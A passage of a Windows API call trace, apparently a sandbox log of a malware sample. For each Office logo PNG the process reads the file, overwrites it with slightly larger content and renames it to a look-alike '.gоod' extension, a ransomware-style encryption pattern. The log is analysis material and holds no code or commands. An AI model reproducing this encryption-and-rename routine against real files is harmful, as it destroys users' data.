office\\root\\office16\\logoimages\\excellogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3879358 | out: lpFileInformation=0x3879358*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79d)) returned 1 [0201.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0201.183] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0201.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0201.184] GetFileType (hFile=0x858) returned 0x1 [0201.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.184] GetFileType (hFile=0x858) returned 0x1 [0201.184] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x79d [0201.184] ReadFile (in: hFile=0x858, lpBuffer=0x3879e20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3879e20*, lpNumberOfBytesRead=0x1fcee238*=0x79d, lpOverlapped=0x0) returned 1 [0201.200] CloseHandle (hObject=0x858) returned 1 [0201.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0201.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0201.892] GetFileType (hFile=0x47c) returned 0x1 [0201.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.892] GetFileType (hFile=0x47c) returned 0x1 [0201.892] WriteFile (in: hFile=0x47c, lpBuffer=0x3342768*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3342768*, lpNumberOfBytesWritten=0x1fcee148*=0x7a0, lpOverlapped=0x0) returned 1 [0201.893] CloseHandle (hObject=0x47c) returned 1 [0201.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0201.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5c [0201.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0201.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x748d65d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7a0)) returned 1 [0201.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0201.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png.gоod")) returned 1 [0201.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0201.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0201.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3343a68 | out: lpFileInformation=0x3343a68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0201.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0201.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0201.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0201.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0201.894] GetFileType (hFile=0x47c) returned 0x1 [0201.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0201.894] GetFileType (hFile=0x47c) returned 0x1 [0201.895] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x870 [0201.895] ReadFile (in: hFile=0x47c, lpBuffer=0x3344600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3344600*, lpNumberOfBytesRead=0x1fcee238*=0x870, lpOverlapped=0x0) returned 1 [0201.896] CloseHandle (hObject=0x47c) returned 1 [0202.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0202.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0202.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.480] GetFileType (hFile=0x828) returned 0x1 [0202.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0202.480] GetFileType (hFile=0x828) returned 0x1 [0202.480] WriteFile (in: hFile=0x828, lpBuffer=0x34cac10*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34cac10*, lpNumberOfBytesWritten=0x1fcee148*=0x880, lpOverlapped=0x0) returned 1 [0202.481] CloseHandle (hObject=0x828) returned 1 [0202.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0202.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5c [0202.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0202.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x74e59d42, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0202.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0202.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png.gоod")) returned 1 [0202.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0202.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0202.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x34cbf10 | out: lpFileInformation=0x34cbf10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa67)) returned 1 [0202.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0202.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0202.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0202.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.483] GetFileType (hFile=0x828) returned 0x1 [0202.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0202.483] GetFileType (hFile=0x828) returned 0x1 [0202.483] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa67 [0202.483] ReadFile (in: hFile=0x828, lpBuffer=0x34ccca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34ccca0*, lpNumberOfBytesRead=0x1fcee238*=0xa67, lpOverlapped=0x0) returned 1 [0202.486] CloseHandle (hObject=0x828) returned 1 [0202.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0202.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0202.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.128] GetFileType (hFile=0x47c) returned 0x1 [0203.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.128] GetFileType (hFile=0x47c) returned 0x1 [0203.128] WriteFile (in: hFile=0x47c, lpBuffer=0x33f9e80*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x33f9e80*, lpNumberOfBytesWritten=0x1fcee148*=0xa70, lpOverlapped=0x0) returned 1 [0203.129] CloseHandle (hObject=0x47c) returned 1 [0203.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0203.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5c [0203.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0203.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7549bf96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa70)) returned 1 [0203.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0203.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png.gоod")) returned 1 [0203.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0203.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0203.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x33fb180 | out: lpFileInformation=0x33fb180*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a3)) returned 1 [0203.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0203.131] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0203.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.131] GetFileType (hFile=0x47c) returned 0x1 [0203.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.131] GetFileType (hFile=0x47c) returned 0x1 [0203.131] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6a3 [0203.131] ReadFile (in: hFile=0x47c, lpBuffer=0x33fbb40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x33fbb40*, lpNumberOfBytesRead=0x1fcee238*=0x6a3, lpOverlapped=0x0) returned 1 [0203.133] CloseHandle (hObject=0x47c) returned 1 [0203.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0203.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.145] GetFileType (hFile=0x47c) returned 0x1 [0203.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.145] GetFileType (hFile=0x47c) returned 0x1 [0203.145] WriteFile (in: hFile=0x47c, lpBuffer=0x34754b8*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34754b8*, lpNumberOfBytesWritten=0x1fcee148*=0x6b0, lpOverlapped=0x0) returned 1 [0203.146] CloseHandle (hObject=0x47c) returned 1 [0203.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0203.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5b [0203.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0203.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x754c21cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0)) returned 1 [0203.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0203.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png.gоod")) returned 1 [0203.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0203.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0203.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x34767a8 | out: lpFileInformation=0x34767a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71b)) returned 1 [0203.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0203.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0203.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.148] GetFileType (hFile=0x47c) returned 0x1 [0203.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.148] GetFileType (hFile=0x47c) returned 0x1 [0203.148] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x71b [0203.148] ReadFile (in: hFile=0x47c, lpBuffer=0x3477260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3477260*, lpNumberOfBytesRead=0x1fcee238*=0x71b, lpOverlapped=0x0) returned 1 [0203.149] CloseHandle (hObject=0x47c) returned 1 [0203.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0203.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 